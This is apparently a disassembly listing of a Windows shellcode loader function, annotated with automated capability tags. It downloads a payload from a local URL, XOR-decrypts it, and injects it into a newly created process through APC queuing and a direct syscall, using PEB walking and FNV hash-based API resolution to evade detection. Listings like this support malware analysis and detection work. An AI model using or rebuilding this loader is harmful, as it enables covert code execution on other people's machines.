Function at 0x140001afb
Capabilities:
Access peb ldr_data
Check for peb beingdebugged flag
Encode data using xor
Get kernel32 base address
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x130
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
movsxd rcx, dword [rax + 0x3c]
mov ecx, dword [rax + rcx + 0x88]
mov edx, dword [rax + rcx + 0x18]
lea r8, [rax + 2]
mov r10d, dword [0x140026004]
lea r9, [0x140026004]
dec edx
test r10d, r10d
je 0x140001b9a
mov esi, dword [rax + rcx + 0x20]
add rsi, rax
mov r11d, edx
mov edi, dword [rsi + r11*4]
add rdi, r8
mov ebx, r10d
mov rsi, r9
mov r15d, 0x811c9dc5
mov r14, rdi
mov ebp, r15d
movsx r12d, byte [r14]
inc r14
xor r15d, r12d
imul r15d, r15d, 0x1000193
test r12d, r12d
jne 0x140001b70
cmp ebp, ebx
je 0x140001b9f
mov ebx, dword [rsi + 4]
add rsi, 4
test ebx, ebx
jne 0x140001b67
jmp 0x140001bc6
xor r10d, r10d
jmp 0x140001bc6
mov r10d, dword [rax + rcx + 0x1c]
mov edi, dword [rax + rcx + 0x24]
add r10, rax
add rdi, rax
movzx r11d, word [rdi + r11*2]
mov r10d, dword [r10 + r11*4]
mov r10d, dword [rax + r10 + 4]
mov dword [rsi], r10d
mov r10d, dword [0x140026004]
test edx, edx
jne 0x140001b49
xor eax, eax
lea rdx, [rsp + 0x78]
mov qword [rdx], rax
lea r8, [rsp + 0x70]
mov qword [r8], rax
lea rcx, str.http:__127.0.0.1:8080_loaderE.bin
call fcn.1400015d5
test eax, eax
je 0x140001dd0
mov rdi, qword [rsp + 0x70]
lea rcx, str.Shellcode_size:__zu_bytes_n
mov rdx, rdi
call fcn.140001ff1
xor esi, esi
mov qword [rsp + 0x120], rsi
xorps xmm0, xmm0
movaps xmmword [rsp + 0x110], xmm0
movaps xmmword [rsp + 0x100], xmm0
movaps xmmword [rsp + 0xf0], xmm0
movaps xmmword [rsp + 0xe0], xmm0
movaps xmmword [rsp + 0xd0], xmm0
movaps xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0x60], rsi
movaps xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [0x14001773c]
movaps xmmword [rsp + 0xa0], xmm0
movups xmm0, xmmword [0x14001772c]
movaps xmmword [rsp + 0x90], xmm0
movups xmm0, xmmword [0x14001771c]
movaps xmmword [rsp + 0x80], xmm0
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.CreateProcessW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
movdqa xmm0, xmmword [0x140017350]
movdqa xmm1, xmmword [0x140017360]
movdqa xmm2, xmmword [0x140017370]
movdqu xmm3, xmmword [rsp + rsi*2 + 0x80]
movdqa xmm4, xmm0
paddw xmm4, xmm1
pxor xmm4, xmm3
movdqu xmmword [rsp + rsi*2 + 0x80], xmm4
add rsi, 8
paddw xmm0, xmm2
cmp rsi, 0x18
jne 0x140001cb1
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xc0]
mov qword [rsp + 0x40], rcx
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
lea rcx, [rsp + 0x80]
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call rax
test eax, eax
je 0x140001dd9
lea rbx, [rsp + 0xb8]
mov qword [rbx], 0
mov rcx, qword [rsp + 0x50]
mov rdx, rbx
mov r8, rdi
call fcn.140001a7b
lea rcx, str.Memory_Allocation_in_Chunks_good
call fcn.140005528
lea rcx, str.Memory_Allocation_good
call fcn.140005528
lea rcx, str.Shellcode_after_XOR_decryption:
call fcn.140005528
mov ecx, 0xa
call fcn.14000590c
mov rsi, qword [rsp + 0x78]
mov rbx, qword [rbx]
mov rcx, qword [rsp + 0x50]
mov rdx, rbx
mov r8, rsi
mov r9, rdi
call fcn.1400019c4
lea rcx, str.Write_Memory_Good
call fcn.140005528
mov eax, dword [0x14002600c]
mov r10, qword [rsp + 0x58]
mov rdx, rbx
mov r8, rbx
xor r9d, r9d
sub rsp, 0x30
mov qword [rsp + 0x28], 0
syscall
add rsp, 0x30
test eax, eax
je 0x140001dfc
lea rcx, str.Failed_to_queue_APC_in_the_remote_process.
jmp 0x140001de0
lea rcx, str.Failed_to_download_the_shellcode.
jmp 0x140001de0
lea rcx, str.Failed_to_create_the_process.
call fcn.140005528
mov eax, 0xffffffff
add rsp, 0x130
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea rcx, str.Safe_Till_here
call fcn.140005528
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x140001e19
mov r8d, dword [rax + rdx + 0x18]
lea r9, [rax + 1]
mov r10d, dword [rax + rdx + 0x20]
add r10, rax
sub r8, 1
jb 0x140001e19
mov r11d, dword [r10 + r8*4]
mov bl, byte [rax + r11]
test bl, bl
je 0x140001e72
add r11, r9
mov edi, 0xeaf53c81
movsx ebx, bl
xor ebx, edi
imul edi, ebx, 0x1000193
mov bl, byte [r11]
inc r11
test bl, bl
jne 0x140001e5b
jmp 0x140001e77
mov edi, 0xeaf53c81
cmp edi, 0xe35d6f52
jne 0x140001e41
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r8*2]
mov edx, dword [rcx + rdx*4]
add rdx, rax
mov rcx, qword [rsp + 0x58]
call rdx
cmp eax, 0xffffffff
je 0x140001fe5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x140001eb9
mov r8d, dword [rax + rdx + 0x18]
lea r9, [rax + 1]
mov r10d, dword [rax + rdx + 0x20]
add r10, rax
sub r8, 1
jb 0x140001eb9
mov r11d, dword [r10 + r8*4]
mov bl, byte [rax + r11]
test bl, bl
je 0x140001f12
add r11, r9
mov edi, 0x7c65e11d
movsx ebx, bl
xor ebx, edi
imul edi, ebx, 0x1000193
mov bl, byte [r11]
inc r11
test bl, bl
jne 0x140001efb
jmp 0x140001f17
mov edi, 0x7c65e11d
cmp edi, 0x6e3ca39d
jne 0x140001ee1
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r8*2]
mov edx, dword [rcx + rdx*4]
add rdx, rax
mov rcx, qword [rsp + 0x50]
call rdx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x140001f50
mov r8d, dword [rax + rdx + 0x18]
lea r9, [rax + 1]
mov r10d, dword [rax + rdx + 0x20]
add r10, rax
sub r8, 1
jb 0x140001f50
mov r11d, dword [r10 + r8*4]
mov bl, byte [rax + r11]
test bl, bl
je 0x140001fa9
add r11, r9
mov edi, 0x6f614f78
movsx ebx, bl
xor ebx, edi
imul edi, ebx, 0x1000193
mov bl, byte [r11]
inc r11
test bl, bl
jne 0x140001f92
jmp 0x140001fae
mov edi, 0x6f614f78
cmp edi, 0xdd4a81e2
jne 0x140001f78
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r8*2]
mov edx, dword [rcx + rdx*4]
add rdx, rax
mov rcx, qword [rsp + 0x58]
call rdx
mov rcx, rsi
call fcn.140007e28
xor eax, eax
jmp 0x140001dea
lea rcx, str.Failed_to_resume_the_thread.
jmp 0x140001de0